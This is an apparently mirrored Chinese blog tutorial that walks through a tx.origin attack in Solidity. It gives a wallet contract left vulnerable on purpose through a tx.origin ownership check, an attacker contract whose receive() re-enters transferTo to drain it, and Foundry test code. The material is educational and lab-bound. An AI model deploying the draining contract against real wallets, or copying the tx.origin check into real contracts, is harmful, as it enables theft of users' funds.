3

tx.origin攻击实现

 2 years ago
source link: https://learnblockchain.cn/article/3578
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

tx.origin攻击实现 | 登链社区 | 深入浅出区块链技术

tx.origin攻击实现

tx.origin攻击实现,一次调用,转干合约

昨天发了一篇,tx.origin、msg.sender有什么不一样 ,被认为太水了,所以把tx.origin 攻击的代码实现一遍,让大家有个清晰的认识。

其实前面的不一样是今天可以这么干的基础。

实现的过程有参考:Unboxing tx.origin. Rune Token case (adrianhetman.com)

从被攻击的代码讲起:

contract TxUserWallet is DSTest {
    address owner;

    constructor() {
        owner = msg.sender;
        //emit log_named_address("owner", owner);
    }

    function transferTo(address payable dest, uint256 amount) public payable {
        emit log_named_address("tx.origin", tx.origin);
        emit log_named_address("owner", owner);
        require(tx.origin == owner); //** 重点 **
        dest.call{value: amount}("");
    }
}

这个合约transferTo函数,通过检查tx.origin来确定是不是合约拥有人在操作合约。
普通情况都是没问题的。tx.origin都是合约拥有人,可是就怕有精心构造的攻击者。
做到这些,还是要熟悉solidity的代码,上次我们讲重入 重入攻击代码实现 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn),讲了fallback 函数,这次我们用到,receive函数,这个函数会在合约收到币的时候被调用。

所以,我们需要构造一种情况,TxUserWallet 合约调用transferTo 给攻击合约转账,攻击合约在receive函数 再次调用transferTo,这个时候,tx.origin 就还是原来的账号操作人,代码写得好,你就可以转空TxUserWallet 合约里的钱。

下面我们上攻击合约代码:

contract TxAttackWallet is DSTest {
    address payable owner;

    constructor() {
        owner = payable(msg.sender);
    }

    fallback() external payable {
        emit log_named_address("fallback", msg.sender);
    }

    receive() external payable {
        TxUserWallet(msg.sender).transferTo(
            payable(this),
            1 ether
        );
    }
}

构造测试用例

function setUp() public {
        startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58), 8 ether);
        alice = new TxUserWallet();  //被攻击对象
        hoax(address(alice), 5 ether); //放5个币
        bob = new TxAttackWallet();  //攻击合约
        hoax(address(bob), 5 ether);  //放5个币
        emit log_named_uint("alice", address(alice).balance);
        emit log_named_address("alice", address(alice));
        emit log_named_address("bob", address(bob));
    }
function testExample() public payable {
        //startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58));
        alice.transferTo(payable(bob), 1 ether); //被攻击者给攻击合约转1个币
        emit log_named_uint("alice", address(alice).balance);
        emit log_named_uint("bob", address(bob).balance);
        emit log_string("testok");
    }

结果如下:
16451845821.png

还有关键性一步,在foundry.toml里设置,

tx_origin = '0x9BEF5148fD530244a14830f4984f2B76BCa0dC58'
这是部署合约的操作人。

感谢群友的点赞支持,并提供参考文章。
代码已经上传github,更详细的可以看代码,跑跑能有更直观的认识。

daodao2007/txohack (github.com)

本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 2天前
  • 阅读 ( 186 )
  • 学分 ( 5 )
  • 分类:安全

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK